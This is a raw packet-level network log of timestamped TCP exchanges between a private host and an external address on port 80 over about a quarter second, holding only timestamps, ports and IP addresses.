Dec 16, 2024 15:02:36.920696020 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.920715094 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.920955896 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.921710968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.921863079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.922301054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.922342062 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.922827959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.922926903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.923330069 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.923455954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.923866034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.923974037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.924078941 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.924925089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.924981117 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.925616026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.926064014 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.926075935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.926724911 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.927093029 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.927104950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.927167892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.927167892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.928339005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.928388119 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.928570032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.929223061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.929641962 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.929678917 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.929678917 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.930330992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.930470943 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.931014061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.931071997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.931458950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.931595087 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.931606054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.931715965 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.932441950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.932611942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.932739973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.932970047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.933585882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.933597088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.933670044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.933670044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.934632063 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.934809923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.934854031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.935108900 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.935751915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.935762882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.935796022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.935853958 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.936795950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.936860085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.936897039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.936897039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.937810898 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.938060999 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.938173056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.938245058 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.938930035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.939039946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.939277887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.939321041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.939982891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.940109968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.940372944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.940603971 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.941032887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.941203117 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.941709042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.941857100 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.942151070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.942162037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.942198038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.943176031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.943317890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.943551064 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.943610907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.944283009 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.944327116 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.944552898 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.945116997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.945362091 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.945440054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.945838928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.945892096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.946532011 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.946671963 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.946698904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.946754932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.947563887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.947655916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.948687077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.948698997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.948796034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.949234009 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.949369907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.949672937 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.950233936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.950470924 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.950875998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.950886965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.950949907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.951956987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.951967955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.952344894 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.953092098 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.953128099 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.953196049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.953196049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.954133034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.954229116 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.955135107 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.955214977 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.955262899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.955262899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.956291914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.956334114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.956342936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.957256079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.957292080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.957292080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.957298040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.957818985 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.958353043 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.958462954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.958736897 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.959347010 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.959357977 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.959414005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.959414005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.960381985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.960514069 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.961065054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.961466074 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.962414026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.962486029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.962538958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.963267088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.963330984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.963901997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.964154005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.964260101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.964705944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.964725971 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.964946032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.965748072 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.965775013 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.966379881 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.966828108 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.966994047 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.967329025 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.967909098 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.968233109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.968506098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.969022989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.969033957 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.969166040 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.970016956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.970093012 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.970628977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.971105099 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.971144915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.971175909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.972151041 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.972244024 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.108053923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.108146906 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.108253002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.108253002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.108355045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.108428001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.108597040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.108679056 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.109426975 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.109513044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.109942913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.110021114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.110496998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.110701084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.110702038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.110989094 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.111630917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.111766100 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.111929893 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.111980915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.112709999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.112824917 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.112957001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.112994909 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.113712072 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.113812923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.113923073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.114056110 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.114775896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.114820004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.114835978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.115159035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.115956068 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.115998030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.116682053 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.116743088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.116906881 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.117041111 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.118055105 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.118072033 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.118084908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.118094921 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.118244886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.119144917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.119280100 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.119987965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.120168924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.120182991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.120218039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.120218039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.121290922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.121422052 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.122194052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.122251987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.122386932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.122400999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.122462034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.122462034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.123347998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.123424053 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.124475956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.124489069 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.124521017 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.124557018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.124656916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.125565052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.125617981 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.126233101 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.126322985 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.126713037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.126727104 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.126770973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.126770973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.127753973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.127769947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.127798080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.127913952 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.128735065 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.128822088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.128876925 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.128957987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.129949093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.130075932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.130198956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.130235910 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.130975962 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.130991936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.131031036 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.131031036 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.132124901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.132138968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.132186890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.132186890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.133132935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.133146048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.133192062 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.134131908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.134191990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.134248972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.134289980 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.135205984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.135355949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.136043072 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.136090994 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.136277914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.136425018 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.136425018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.136562109 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.137341022 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.137382030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.137413979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.137509108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.138546944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.138617992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.138618946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.138712883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.139590979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.139606953 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.139652014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.140583992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.140820980 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.140954018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.141047955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.141784906 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.141896963 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.142436028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.142688990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.143019915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.143039942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.143112898 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.143836021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.143850088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.143877983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.143968105 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.144856930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.144917011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.145639896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.145740032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.145950079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.146049023 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.146192074 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.146302938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.147032022 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.147070885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.147463083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.147686005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.148091078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.148144007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.148577929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.148616076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.149158001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.149208069 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.150141001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.150295019 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.150306940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.150331020 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.150413990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.151295900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.151374102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.152093887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.152175903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.152704954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.152718067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.152770996 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.152770996 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.154129982 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.154166937 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.154858112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.154898882 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.155673981 CET	80	49938	185.215.113.16	192.168.2.6
